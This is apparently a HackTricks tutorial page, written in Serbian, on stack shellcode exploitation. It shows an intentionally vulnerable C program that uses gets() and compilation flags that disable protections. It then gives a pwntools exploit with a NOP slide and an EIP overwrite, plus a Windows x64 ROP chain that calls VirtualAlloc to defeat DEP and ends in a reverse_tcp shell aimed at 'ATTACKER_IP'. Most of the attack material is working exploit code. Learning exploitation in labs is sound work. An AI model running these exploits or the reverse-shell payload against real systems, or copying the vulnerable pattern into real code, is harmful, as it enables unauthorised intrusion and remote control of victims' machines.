Stack Shellcode
{{#include ../../../banners/hacktricks-training.md}}
Osnovne informacije
Stack shellcode je tehnika koja se koristi u binary exploitation gde napadač upisuje shellcode na stack ranjivog programa, a zatim menja Instruction Pointer (IP) ili Extended Instruction Pointer (EIP) da pokaže na lokaciju tog shellcode-a, izazivajući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. U nastavku sledi razlaganje procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa pwntools.
C primer: Ranljiv program
Počnimo sa jednostavnim primerom ranljivog C programa:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Ovaj program je ranjiv na buffer overflow zbog upotrebe funkcije gets().
Kompilacija
Da biste kompajlirali ovaj program dok onemogućavate različite zaštite (da biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector: Onemogućava zaštitu steka.-z execstack: Čini stek izvršnim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.-no-pie: Onemogućava Position Independent Executable, što olakšava predviđanje memorijske adrese gde će se nalaziti naš shellcode.-m32: Kompajlira program kao 32-bitni izvršni fajl, često korišćen radi jednostavnosti u razvoju exploita.
Python exploit koristeći Pwntools
Evo kako biste mogli napisati exploit u Pythonu koristeći pwntools da izvedete ret2shellcode napad:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Ovaj skript konstruiše payload koji se sastoji od NOP slide, shellcode, i potom prepisuje EIP adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
The NOP slide (asm('nop')) se koristi da poveća verovatnoću da izvršavanje "slide"-uje u naš shellcode bez obzira na tačnu adresu. Podesite p32() argument na početnu adresu vašeg buffera plus offset da biste dospeli u NOP slide.
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
Na modernim Windows sistemima stack nije izvršiv (DEP/NX). Uobičajen način da se ipak izvrši stack-resident shellcode nakon stack BOF je izgradnja 64-bit ROP chain-a koji poziva VirtualAlloc (ili VirtualProtect) iz modula Import Address Table (IAT) da bi se regija stack-a označila kao izvršiva, a zatim se vraća u shellcode dodat nakon chain-a.
Ključne tačke (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → izaberite adresu u trenutnom stack-u (npr. RSP) tako da novo alocirana RWX regija preklopi vaš payload
- RDX = dwSize → dovoljno velika za vaš chain + shellcode (npr. 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return direktno u shellcode postavljen odmah posle chain-a.
Minimalna strategija:
- Leak a module base (npr. preko format-string, object pointer, itd.) da biste izračunali apsolutne gadget i IAT adrese pod ASLR-om.
- Pronađite gadget-e koji učitavaju RCX/RDX/R8/R9 (pop ili mov/xor-bazirane sekvence) i call/jmp [VirtualAlloc@IAT]. Ako nemate direktan pop r8/r9, koristite arithmetic gadget-e da sintetizujete konstante (npr. postavite r8=0 i ponovo dodajte r9=0x40 četrdeset puta da biste došli do 0x1000).
- Postavite stage-2 shellcode odmah nakon chain-a.
Example layout (conceptual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
Sa ograničenim gadget set-om, možete indirektno konstruisati vrednosti registara, na primer:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → postavi r9 iz rbx, postavi r8 na 0 i kompenzuj stek jednim junk qword-om.
- xor rbx, rsp; ret → inicijalizuje rbx vrednošću trenutnog pokazivača steka.
- push rbx; pop rax; mov rcx, rax; ret → prebaci vrednost izvedenu iz RSP u RCX.
Pwntools skica (uz poznatu osnovnu adresu i gadgets):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
Tips:
-
VirtualProtect radi slično ako je poželjno da postojeći buffer učinite RX; redosled parametara je drugačiji.
-
Ako je prostor na stack-u ograničen, alocirajte RWX negde drugde (RCX=NULL) i jmp na taj novi region umesto ponovnog korišćenja stack-a.
-
Uvek uzmite u obzir gadgets koji menjaju RSP (npr., add rsp, 8; ret) ubacivanjem junk qwords.
-
ASLR should be disabled da bi adresa bila pouzdana između izvršenja — inače adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste utvrdili gde je win function učitana.
-
Stack Canaries treba takođe da budu onemogućene, inače kompromitovani EIP return address nikada neće biti iskorišćen.
-
NX stack zaštita bi sprečila izvršavanje shellcode-a unutar stack-a jer taj region neće biti izvršan.
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR sa stack address leak, pisanje shellcode-a i jmp na njega
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR sa stack leak, pisanje shellcode-a i jmp na njega
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR sa stack leak, poređenje da bi se sprečio poziv exit(), prepisivanje promenljive vrednošću i pisanje shellcode-a i jmp na njega
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, bez ASLR, ROP gadget da učini stack izvršnim i jmp na shellcode u stack-u
References
{{#include ../../../banners/hacktricks-training.md}}